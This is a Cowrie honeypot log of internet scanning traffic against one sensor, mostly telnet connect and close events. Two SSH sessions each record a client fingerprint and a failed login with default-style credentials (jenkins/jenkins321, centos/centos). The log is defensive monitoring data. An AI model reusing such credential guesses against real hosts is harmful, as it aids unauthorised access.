{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36128,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e87d3aa8767","protocol":"telnet","message":"New connection: 147.135.136.77:36128 (159.203.135.109:23) [session: 2e87d3aa8767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:35.292739Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":34354,"dst_ip":"159.203.135.109","dst_port":23,"session":"94d796e26db0","protocol":"telnet","message":"New connection: 82.163.78.83:34354 (159.203.135.109:23) [session: 94d796e26db0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:35.328601Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":59566,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ae324296fd6","protocol":"telnet","message":"New connection: 173.249.44.46:59566 (159.203.135.109:23) [session: 7ae324296fd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:35.890787Z"}
{"eventid":"cowrie.session.closed","duration":30.367345809936523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:36.093232Z","src_ip":"82.163.78.83","session":"a6521ea568cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04691433906555,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:36.150032Z","src_ip":"82.163.78.83","session":"e730ddb1c07f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87594509124756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:37.212707Z","src_ip":"85.208.100.77","session":"b138b1e347ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":53000,"dst_ip":"159.203.135.109","dst_port":23,"session":"161da29b9f8c","protocol":"telnet","message":"New connection: 149.102.133.101:53000 (159.203.135.109:23) [session: 161da29b9f8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:37.238413Z"}
{"eventid":"cowrie.session.closed","duration":31.53543472290039,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:37.962222Z","src_ip":"37.187.24.227","session":"c1ad0bcd80d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8935444355011,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:38.046707Z","src_ip":"46.101.32.143","session":"008807475910","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.185.195","src_port":44226,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ad6d841711a","protocol":"ssh","message":"New connection: 209.99.185.195:44226 (10.17.0.5:22) [session: 6ad6d841711a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:38.402700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:38.407784Z","src_ip":"209.99.185.195","session":"6ad6d841711a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:38.522940Z","src_ip":"209.99.185.195","session":"6ad6d841711a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins321","message":"login attempt [jenkins/jenkins321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:38.994387Z","src_ip":"209.99.185.195","session":"6ad6d841711a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.07888650894165,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:39.012789Z","src_ip":"149.102.133.101","session":"0536adaeb7ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82052230834961,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:39.040959Z","src_ip":"149.102.133.101","session":"ce30fca5c6c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.561128616333008,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:39.047369Z","src_ip":"82.163.78.83","session":"957364569bf6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.057703971862793,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:39.326430Z","src_ip":"149.102.133.101","session":"c7be8018e7fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87638521194458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:40.055299Z","src_ip":"82.163.78.83","session":"4f5daed310bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.735612154006958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:40.085931Z","src_ip":"149.102.133.101","session":"e55edf90e8f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:40.106865Z","src_ip":"209.99.185.195","session":"6ad6d841711a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.84.114","src_port":41934,"dst_ip":"159.203.135.109","dst_port":23,"session":"e43c1a55839a","protocol":"telnet","message":"New connection: 209.126.84.114:41934 (159.203.135.109:23) [session: e43c1a55839a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:40.147298Z"}
{"eventid":"cowrie.session.closed","duration":30.52639651298523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:41.052581Z","src_ip":"209.126.84.114","session":"bf5af074afa2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04717516899109,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:41.163853Z","src_ip":"85.208.100.77","session":"b603f1326cf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":48506,"dst_ip":"159.203.135.109","dst_port":23,"session":"eaded3a1b58e","protocol":"telnet","message":"New connection: 85.208.100.77:48506 (159.203.135.109:23) [session: eaded3a1b58e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:41.386552Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.139.22","src_port":35384,"dst_ip":"159.203.135.109","dst_port":23,"session":"633bb8ea24c0","protocol":"telnet","message":"New connection: 206.189.139.22:35384 (159.203.135.109:23) [session: 633bb8ea24c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:41.604433Z"}
{"eventid":"cowrie.session.closed","duration":31.742799520492554,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:41.965456Z","src_ip":"82.163.78.83","session":"e917005c0e33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.282827377319336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:42.102464Z","src_ip":"82.163.78.83","session":"a1c472110dfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83550477027893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:43.037997Z","src_ip":"82.163.78.83","session":"900f1053bb0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":54666,"dst_ip":"159.203.135.109","dst_port":23,"session":"6897a13b1d86","protocol":"telnet","message":"New connection: 81.30.157.18:54666 (159.203.135.109:23) [session: 6897a13b1d86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:43.047165Z"}
{"eventid":"cowrie.session.closed","duration":30.83808994293213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:43.060194Z","src_ip":"173.249.44.46","session":"086be420f7cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.14141845703125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:43.091227Z","src_ip":"149.102.133.101","session":"4ed50bd1f0bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00145602226257,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:44.169215Z","src_ip":"138.0.214.217","session":"015c99f54c0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":42472,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bc1f6934b80","protocol":"telnet","message":"New connection: 173.249.44.46:42472 (159.203.135.109:23) [session: 5bc1f6934b80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:44.223121Z"}
{"eventid":"cowrie.session.closed","duration":31.23527193069458,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:44.244810Z","src_ip":"85.208.100.77","session":"e8a0c9151ed3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18929958343506,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:44.254142Z","src_ip":"85.208.100.77","session":"e153891213b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.0.214.217","src_port":37489,"dst_ip":"10.17.0.5","dst_port":23,"session":"93c71450bd9e","protocol":"telnet","message":"New connection: 138.0.214.217:37489 (10.17.0.5:23) [session: 93c71450bd9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:45.778403Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":58770,"dst_ip":"159.203.135.109","dst_port":23,"session":"df372144a1b5","protocol":"telnet","message":"New connection: 85.208.100.77:58770 (159.203.135.109:23) [session: df372144a1b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:46.140342Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":46418,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0ddba0e5bdc","protocol":"telnet","message":"New connection: 82.163.78.83:46418 (159.203.135.109:23) [session: d0ddba0e5bdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:46.610794Z"}
{"eventid":"cowrie.session.closed","duration":30.826682567596436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:47.142161Z","src_ip":"81.30.157.18","session":"e1807156a09b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83919382095337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:47.545038Z","src_ip":"81.30.157.18","session":"278c3b092ff0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.701701641082764,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:48.016868Z","src_ip":"103.115.172.252","session":"3fe88eca0586","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.615351676940918,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:48.098072Z","src_ip":"37.187.24.227","session":"cb3b2cbe8708","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":58492,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ec07664eb85","protocol":"telnet","message":"New connection: 147.135.136.77:58492 (159.203.135.109:23) [session: 2ec07664eb85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:48.228408Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":59738,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3b97c02f385","protocol":"telnet","message":"New connection: 149.102.133.101:59738 (159.203.135.109:23) [session: b3b97c02f385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:48.492406Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":49102,"dst_ip":"159.203.135.109","dst_port":23,"session":"eea839f2be52","protocol":"telnet","message":"New connection: 82.163.78.83:49102 (159.203.135.109:23) [session: eea839f2be52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:48.959152Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":48408,"dst_ip":"159.203.135.109","dst_port":23,"session":"346e2fba2b18","protocol":"telnet","message":"New connection: 82.163.78.83:48408 (159.203.135.109:23) [session: 346e2fba2b18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:49.323962Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":38962,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfe9c095890b","protocol":"telnet","message":"New connection: 85.208.100.77:38962 (159.203.135.109:23) [session: dfe9c095890b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:49.980522Z"}
{"eventid":"cowrie.session.closed","duration":30.174203395843506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:50.059502Z","src_ip":"149.102.133.101","session":"b09decf50709","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.416487455368042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:50.078909Z","src_ip":"37.187.24.227","session":"1c7c59c101d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":39160,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5defc101cb8","protocol":"telnet","message":"New connection: 85.208.100.77:39160 (159.203.135.109:23) [session: e5defc101cb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:50.086425Z"}
{"eventid":"cowrie.session.closed","duration":30.874704599380493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:50.214030Z","src_ip":"173.249.44.46","session":"c0af7d66339c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.811923027038574,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:50.290704Z","src_ip":"149.102.133.101","session":"38c01f785684","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.52030634880066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:51.283986Z","src_ip":"209.126.84.114","session":"672f54eb566f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":53368,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ee88abe8d7b","protocol":"telnet","message":"New connection: 82.163.78.83:53368 (159.203.135.109:23) [session: 8ee88abe8d7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:52.760084Z"}
{"eventid":"cowrie.session.closed","duration":30.8964524269104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:54.126883Z","src_ip":"81.30.157.18","session":"6352a004dd0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.300270080566406,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:54.138773Z","src_ip":"173.249.44.46","session":"b722ba5951b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82391357421875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:54.185941Z","src_ip":"85.208.100.77","session":"53a76620f78f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":54832,"dst_ip":"159.203.135.109","dst_port":23,"session":"59808a5f5207","protocol":"telnet","message":"New connection: 82.163.78.83:54832 (159.203.135.109:23) [session: 59808a5f5207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:54.267692Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":54908,"dst_ip":"159.203.135.109","dst_port":23,"session":"5598aa0a05db","protocol":"telnet","message":"New connection: 82.163.78.83:54908 (159.203.135.109:23) [session: 5598aa0a05db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:54.315271Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":34220,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b3bec45508e","protocol":"ssh","message":"New connection: 103.228.69.212:34220 (10.17.0.5:22) [session: 7b3bec45508e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:54.539960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:54.544466Z","src_ip":"103.228.69.212","session":"7b3bec45508e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:54.782457Z","src_ip":"103.228.69.212","session":"7b3bec45508e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:55.734685Z","src_ip":"103.228.69.212","session":"7b3bec45508e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.03974199295044,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:56.178893Z","src_ip":"173.249.44.46","session":"9a210885c024","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":47132,"dst_ip":"159.203.135.109","dst_port":23,"session":"20a4bfadb858","protocol":"telnet","message":"New connection: 149.102.133.101:47132 (159.203.135.109:23) [session: 20a4bfadb858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:56.194011Z"}
{"eventid":"cowrie.session.closed","duration":30.870636463165283,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:56.214031Z","src_ip":"82.163.78.83","session":"5a20431d9a6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:56.968769Z","src_ip":"103.228.69.212","session":"7b3bec45508e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.166373252868652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:57.097021Z","src_ip":"82.163.78.83","session":"67baeff4a383","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.295518159866333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:57.102887Z","src_ip":"81.30.157.18","session":"e2a293520789","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.616816997528076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:57.147201Z","src_ip":"209.126.84.114","session":"9b7450fc2e9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.562503337860107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:57.228079Z","src_ip":"209.126.84.114","session":"4b6155ea8c95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":51358,"dst_ip":"159.203.135.109","dst_port":23,"session":"8387708f0721","protocol":"telnet","message":"New connection: 81.30.157.18:51358 (159.203.135.109:23) [session: 8387708f0721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:57.421128Z"}
{"eventid":"cowrie.session.closed","duration":30.94630217552185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:57.426567Z","src_ip":"85.208.100.77","session":"147e58550b7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03516411781311,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:00:58.114106Z","src_ip":"82.163.78.83","session":"3dd4af320f35","protocol":"telnet"}
